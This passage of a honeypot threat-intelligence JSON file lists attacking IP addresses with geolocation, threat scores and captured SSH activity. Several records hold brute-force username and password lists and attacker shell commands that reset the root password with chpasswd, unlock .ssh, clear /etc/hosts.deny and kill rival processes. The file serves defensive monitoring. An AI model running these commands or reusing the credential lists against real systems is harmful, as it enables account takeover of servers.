        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:53:52.771000+00:00",
        "last_seen_30d": "2026-05-26T20:55:18.192000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.26.232": {
      "attack_count": 2,
      "first_seen": "2026-05-26T03:18:28.011Z",
      "last_seen": "2026-05-26T03:18:41.225Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T03:18:28.011000+00:00",
        "last_seen_30d": "2026-05-26T03:19:49.736000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.96.93.100": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:56:21.283Z",
      "last_seen": "2026-05-11T18:56:33.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 132165,
      "as_org": "Connect Communications",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:56:21.283000+00:00",
        "last_seen_30d": "2026-05-11T18:57:40.456000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.86.104.24": {
      "attack_count": 2,
      "first_seen": "2026-05-07T20:50:47.536Z",
      "last_seen": "2026-05-07T20:51:18.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:50:47.536000+00:00",
        "last_seen_30d": "2026-05-07T20:52:26.167000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.91.232.40": {
      "attack_count": 2,
      "first_seen": "2026-05-31T20:46:48.129Z",
      "last_seen": "2026-05-31T20:47:21.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T20:46:48.129000+00:00",
        "last_seen_30d": "2026-05-31T20:48:22.331000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.231.13.198": {
      "attack_count": 2,
      "first_seen": "2026-05-13T15:02:26.773Z",
      "last_seen": "2026-05-13T15:02:40.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Parkston",
      "asn": 18785,
      "as_org": "Santel Communications Cooperative, Inc.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T15:02:26.773000+00:00",
        "last_seen_30d": "2026-05-13T15:03:48.170000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.234.78.235": {
      "attack_count": 1,
      "first_seen": "2026-05-25T00:39:41.502Z",
      "last_seen": "2026-05-25T00:39:41.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Floridablanca",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:39:41.502000+00:00",
        "last_seen_30d": "2026-05-25T00:40:42.662000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1,
        "Suricata": 1
      }
    },
    "45.119.212.99": {
      "attack_count": 746,
      "first_seen": "2026-05-03T09:16:56.364Z",
      "last_seen": "2026-05-28T23:34:05.014Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ubuntu",
        "demouser",
        "administrator",
        "ali",
        "git",
        "test",
        "user",
        "ayjtnzjc",
        "azureuser",
        "foo",
        "ll",
        "minecraft",
        "mysql",
        "openvpn",
        "postgres",
        "rustserver",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11111111",
        "1234",
        "12341234",
        "12345678",
        "159753",
        "1Fluturasu123",
        "1q2w3e4r5",
        "1qw23er4",
        "4444",
        "999999",
        "Abcd1234",
        "Ali123",
        "P@ssw0rd!!!",
        "P@ssw0rd1",
        "P@ssword123",
        "Password123",
        "ab123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"demouser@2024\\nVudysX2PBVsS\\nVudysX2PBVsS\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\noZdZqFlWB3qU\\noZdZqFlWB3qU\\n\"|passwd",
        "echo \"root:5PNlO5iIEB6i\"|chpasswd|bash",
        "echo \"root:ChXaFw53mlv0\"|chpasswd|bash",
        "echo \"root:XDBg9DwN5mNQ\"|chpasswd|bash",
        "echo \"ubuntuubuntu\\nUZz34OnvAcsS\\nUZz34OnvAcsS\\n\"|passwd",
        "echo -e \"demouser@2024\\nVudysX2PBVsS\\nVudysX2PBVsS\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\noZdZqFlWB3qU\\noZdZqFlWB3qU\"|passwd|bash",
        "echo -e \"ubuntuubuntu\\nUZz34OnvAcsS\\nUZz34OnvAcsS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 57.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 925,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:16:56.364000+00:00",
        "last_seen_30d": "2026-05-28T23:35:09.164000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 746,
        "Suricata": 179
      }
    },
    "180.178.94.218": {
      "attack_count": 475,
      "first_seen": "2026-05-13T05:27:30.747Z",
      "last_seen": "2026-05-20T17:32:11.922Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftp",
        "ryu",
        "user3",
        "bei",
        "cheng",
        "hao",
        "huangwei",
        "icinga",
        "jindong",
        "keycloak",
        "lamp",
        "lili",
        "qihoo",
        "server",
        "sshuser",
        "test",
        "test1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123!@#123",
        "123456789Aa",
        "1234567Aa",
        "123456Ti",
        "1q2w3e4r",
        "2026",
        "Adm@2024",
        "Qq1234567890",
        "Star@2026",
        "Test123!",
        "bei123",
        "cheng123",
        "hao123",
        "harley",
        "hello"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\niLaq3ShZJSRE\\niLaq3ShZJSRE\\n\"|passwd",
        "echo \"123456\\nzcazvOKioVGq\\nzcazvOKioVGq\\n\"|passwd",
        "echo \"password\\nBXMtyx7NhQZd\\nBXMtyx7NhQZd\\n\"|passwd",
        "echo \"root:jq6Q1wHEAuAj\"|chpasswd|bash",
        "echo -e \"123456\\niLaq3ShZJSRE\\niLaq3ShZJSRE\"|passwd|bash",
        "echo -e \"123456\\nzcazvOKioVGq\\nzcazvOKioVGq\"|passwd|bash",
        "echo -e \"password\\nBXMtyx7NhQZd\\nBXMtyx7NhQZd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 45722,
      "as_org": "Widya Intersat Nusantara, PT",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:27:30.747000+00:00",
        "last_seen_30d": "2026-05-20T17:33:17.473000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 475,
        "Suricata": 113
      }
    },
    "171.231.188.245": {
      "attack_count": 444,
      "first_seen": "2026-05-05T13:34:38.683Z",
      "last_seen": "2026-05-05T14:11:13.567Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "ubnt",
        "user",
        "123456",
        "ace",
        "anton",
        "ashish",
        "backup",
        "brenda",
        "btf",
        "carol",
        "cisco",
        "dubai",
        "ftp",
        "george",
        "geral",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345",
        "abc123",
        "admin",
        "trustix",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "123",
        "1234",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "91482d",
        "P@ssw0rd",
        "ace",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 637,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:34:38.683000+00:00",
        "last_seen_30d": "2026-05-05T14:12:21.175000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 193
      }
    },
    "43.135.168.126": {
      "attack_count": 388,
      "first_seen": "2026-05-16T13:27:59.366Z",
      "last_seen": "2026-05-16T13:56:57.419Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wireguard",
        "frappe",
        "gokul",
        "noc",
        "rahul",
        "trader",
        "zero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweQWE",
        "$RFV5tgb",
        "0708228AsBs!",
        "1",
        "1234",
        "1234567890a",
        "123456@Aa",
        "123456Qq!",
        "20192019",
        "Abcd1234.",
        "Wb123456",
        "ZXCasd123",
        "Zaq1Xsw2Cde3",
        "gokul",
        "idc2.com.cn",
        "noc2024",
        "rahul@123",
        "root1234!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nhwsIfTDhHhmt\\nhwsIfTDhHhmt\\n\"|passwd",
        "echo \"root:dEOEtWKQcAaR\"|chpasswd|bash",
        "echo \"root:dO19cfUKPFbI\"|chpasswd|bash",
        "echo \"root:nA4ucDaVt7mk\"|chpasswd|bash",
        "echo -e \"1234\\nhwsIfTDhHhmt\\nhwsIfTDhHhmt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 456,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:27:59.366000+00:00",
        "last_seen_30d": "2026-05-16T13:58:02.596000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 388,
        "Suricata": 68
      }
    },
    "114.10.47.235": {
      "attack_count": 382,
      "first_seen": "2026-05-16T10:06:48.686Z",
      "last_seen": "2026-05-16T10:28:48.603Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "admin",
        "alex",
        "ghostuser",
        "jbernal",
        "minikube",
        "security",
        "sftp_user",
        "toor",
        "user",
        "user3",
        "web-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@34QWer",
        "!Q2w3e4r",
        "000000",
        "123",
        "20192019",
        "228228",
        "456",
        "Ls123456",
        "Root@1234567",
        "a123123.",
        "admin123!@#",
        "d3pl0y1234",
        "deploy@2023",
        "ghostuser",
        "minikube",
        "root",
        "security1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1m5cCy59Sw7Y\"|chpasswd|bash",
        "echo \"root:BTvssheBuEbq\"|chpasswd|bash",
        "echo \"root:Pf8XGEuzr9oX\"|chpasswd|bash",
        "echo \"root:XOifDPr655U0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Surabaya",
      "asn": 4761,
      "as_org": "INDOSAT Internet Network Provider",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:06:48.686000+00:00",
        "last_seen_30d": "2026-05-16T10:29:49.544000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 64
      }
    },
    "213.176.16.100": {
      "attack_count": 359,
      "first_seen": "2026-05-20T02:18:42.770Z",
      "last_seen": "2026-05-26T18:34:47.289Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "claude",
        "cloud",
        "curl",
        "gitlab-runner",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544AA@@",
        "11223344",
        "12345",
        "123456123456",
        "123456Qq",
        "131313",
        "2086",
        "BYROOT49",
        "Monkey1",
        "Wangsu@2017",
        "admin!@#",
        "bpoint",
        "bullshit",
        "california",
        "claude",
        "elsa",
        "fernando",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dS0ptRnWfuY5\"|chpasswd|bash",
        "echo \"root:ueMv45uqwXO8\"|chpasswd|bash",
        "echo \"root:wg0DNfRIzgaL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:18:42.770000+00:00",
        "last_seen_30d": "2026-05-26T18:35:52.379000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 359,
        "Suricata": 84
      }
    },
    "45.165.14.197": {
      "attack_count": 350,
      "first_seen": "2026-05-21T23:14:45.714Z",
      "last_seen": "2026-05-22T00:18:53.723Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "carla",
        "portal",
        "vhserver",
        "dong",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "369369",
        "Admin123",
        "Erkan123",
        "Qaz123wsx",
        "Qwer123",
        "carla",
        "portal",
        "qazwsx@123",
        "qwert123!@#",
        "scott",
        "soporte2025",
        "t",
        "usuario1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nshPFTCpj28EF\\nshPFTCpj28EF\\n\"|passwd",
        "echo \"carla\\nZw4rISRZNnmP\\nZw4rISRZNnmP\\n\"|passwd",
        "echo \"portal\\nU7J7rnV20tDT\\nU7J7rnV20tDT\\n\"|passwd",
        "echo \"root:U46XoGF8u3hk\"|chpasswd|bash",
        "echo -e \"123456\\nshPFTCpj28EF\\nshPFTCpj28EF\"|passwd|bash",
        "echo -e \"carla\\nZw4rISRZNnmP\\nZw4rISRZNnmP\"|passwd|bash",
        "echo -e \"portal\\nU7J7rnV20tDT\\nU7J7rnV20tDT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Chapadinha",
      "asn": 268663,
      "as_org": "R G DE SOUSA LTDA",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:58:54.880000+00:00",
        "last_seen_30d": "2026-05-22T00:20:02.858000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 55
      }
    },
    "43.134.175.218": {
      "attack_count": 304,
      "first_seen": "2026-05-18T17:09:05.383Z",
      "last_seen": "2026-05-18T17:37:37.450Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0okm9ijn",
        "102030",
        "136161",
        "Mexico123",
        "Qwe123!!",
        "Redvirtual09",
        "a1234567",
        "abc.123456",
        "dallas",
        "federico",
        "imprime",
        "qweasd123",
        "samara",
        "singularity",
        "sparky",
        "tsalarian",
        "tybalt1",
        "unique"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5A0Sk9egrf8i\"|chpasswd|bash",
        "echo \"root:G4CzDv6cHJ3E\"|chpasswd|bash",
        "echo \"root:lPopI9F3062d\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:09:05.383000+00:00",
        "last_seen_30d": "2026-05-18T17:38:47.157000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "111.47.243.219": {
      "attack_count": 293,
      "first_seen": "2026-05-20T16:19:39.911Z",
